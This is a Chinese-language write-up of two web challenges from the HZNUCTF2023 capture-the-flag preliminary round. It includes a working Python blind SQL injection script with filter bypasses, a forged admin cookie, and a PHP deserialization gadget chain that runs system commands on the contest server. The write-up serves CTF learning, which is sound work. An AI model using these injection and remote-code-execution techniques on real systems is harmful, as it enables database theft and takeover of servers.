【无标题】HZNUCTF2023初赛web

ezlogin:

进入之后就是一个简单的登录界面

【无标题】HZNUCTF2023初赛web_第1张图片

在用户名输入什么都没有反应

查看网页源代码:

1.想要查询需要post传参,在username的位置

2.上传的参数会进行base64解码 然后翻转

3.上传的内容会检测一些特殊字符进行替换

所以设置payload的时候:

1.首先要进行绕过,经过测试发现是大小写绕过就可以

2.然后对SQL注入查询语句先进行一次翻转  然后再base64加密

3.此外空格也会被检测需要/**/进行绕过,否则会被检测出hacker

测试发现会

【无标题】HZNUCTF2023初赛web_第2张图片

当构造测试语句

【无标题】HZNUCTF2023初赛web_第3张图片

会发现出现成功的信息,表明查询的信息是正确的

到此可以确定可以利用盲注的信息

但是我们如果一个一个去手测试那是相当麻烦

一开始考虑过用bp,但是因为加密和翻转的限制,利用bp不方便

所以用一个二分法盲注的脚本

importbase64

#请求网络界面就要调用

importrequests

defsql(url):

flag=''

pay="1'/**/or/**/ascii(substr((SELECT/**/group_concat(schema_name)/**/from/**/information_schema.schemata),"\

"{},1))>{}#"

#这里只是两行分开写了,其实在一块,schemata),{},1))>{}#这个中括号的地方传入参数

#pay="1'/**/or/**/ascii(substr((SELECT/**/group_concat(password)/**/from/**/user),"\

#"{},1))>{}#"

foriinrange(33,100):

left=32

right=126

mid=(left+right)//2

whileleft

payload=pay.format(i,mid)#这两个参数分别放到中括号里面

#print(base64.b64encode(payload[::-1].encode()))

data={'username':base64.b64encode(payload[::-1].encode()),'passwd':'1'}

#调用base64的库区加密,[::-1]字符串翻转

r=requests.post(url,data=data)

#向服务器发送post请求

if'success'inr.text:#根据页面返回的信息判断注入成功

left=mid+1

else:

right=mid

mid=(left+right)//2#二分法盲注

flag+=chr(mid)

print(flag)

if__name__=='__main__':

sql('http://c7f7f56d-9295-48e0-9a73-8b1d3474ddfc.ite.hznu.edu.cn/')#sql传参值为url

#requests.get('http://532b761c-0015-4b4a-a67c-a08e42066576.ite.hznu.edu.cn/')

查询表名发现是user

注意:直接使用database()并且限制好i的查询范围

【无标题】HZNUCTF2023初赛web_第4张图片

查询列名:发现可疑的id, username, password

【无标题】HZNUCTF2023初赛web_第5张图片

查询字段内容

【无标题】HZNUCTF2023初赛web_第6张图片

一定要注意这个i,决定着你数据的显示范围

设置34 到80

【无标题】HZNUCTF2023初赛web_第7张图片

到此解题结束,彻底获取flag

php反序列化的一道题:

首先进入页面时空白的界面,去查看网页源代码也是空的

所以去抓包获取信息

发现cookie字段有一段特殊的base64编码

怀疑我们登录的身份有错误,不是admin身份

Base64解密之后得到一段序列化语言

O:4:"User":1:{s:7:"isAdmin";b:0;}

php语言进行反序列化

object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(4) "User" ["isAdmin"]=> bool(false) }

来自 <在线序列化(serialise)/反序列化(unserialise)>

发现最后的判断是false  对应0  所以把0改成1然后base64 加密得到新的cookie

O:4:"User":1:{s:7:"isAdmin";b:1;}

Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MTt9

然后传入新的cookie里面看到PHP反序列化漏洞

error_reporting(0);

include('utils.php');

class A {

    public $className;

    public $funcName;

    public $args;

    public function __destruct() {

        $class = new $this->className;

        $funcName = $this->funcName;

        $class->$funcName($this->args);

    }

}

class B {

    public function __call($func, $arg) {

        $func($arg[0]);

    }

}

if(checkUser()) {

    highlight_file(__FILE__);

    $payload = strrev(base64_decode($_POST['payload']));

    unserialize($payload);

}

来自

进行利用

class A {

    public $className = 'B';

    public $funcName = 'system';

    public $args = 'ls';  //注意虽然是数组但是自动默认识别不需要加中括号

    public function __destruct() {

        $class = new $this->className;

        $funcName = $this->funcName;

        $class->$funcName($this->args);

    }

}

class B {

    public function __call($func, $arg) {

        $func($arg[0]);

  //相当于执行system('ls');

    }

}

$a = new A();

$payload = strrev(serialize($a));

echo(base64_encode($payload));

?>

/*

if(checkUser()) {

    highlight_file(__FILE__);

    $payload = strrev(base64_decode($_POST['payload']));

    unserialize($payload);

}

*/

执行命令ls的时候

fTsic2wiOjI6czsic2dyYSI6NDpzOyJtZXRzeXMiOjY6czsiZW1hTmNudWYiOjg6czsiQiI6MTpzOyJlbWFOc3NhbGMiOjk6c3s6MzoiQSI6MTpP

来自

【无标题】HZNUCTF2023初赛web_第8张图片

执行成功,证明可以任意命令执行

发现没有flag,去查看环境变量

system('env');

【无标题】HZNUCTF2023初赛web_第9张图片

OK得到

你可能感兴趣的:(数据库,java,开发语言)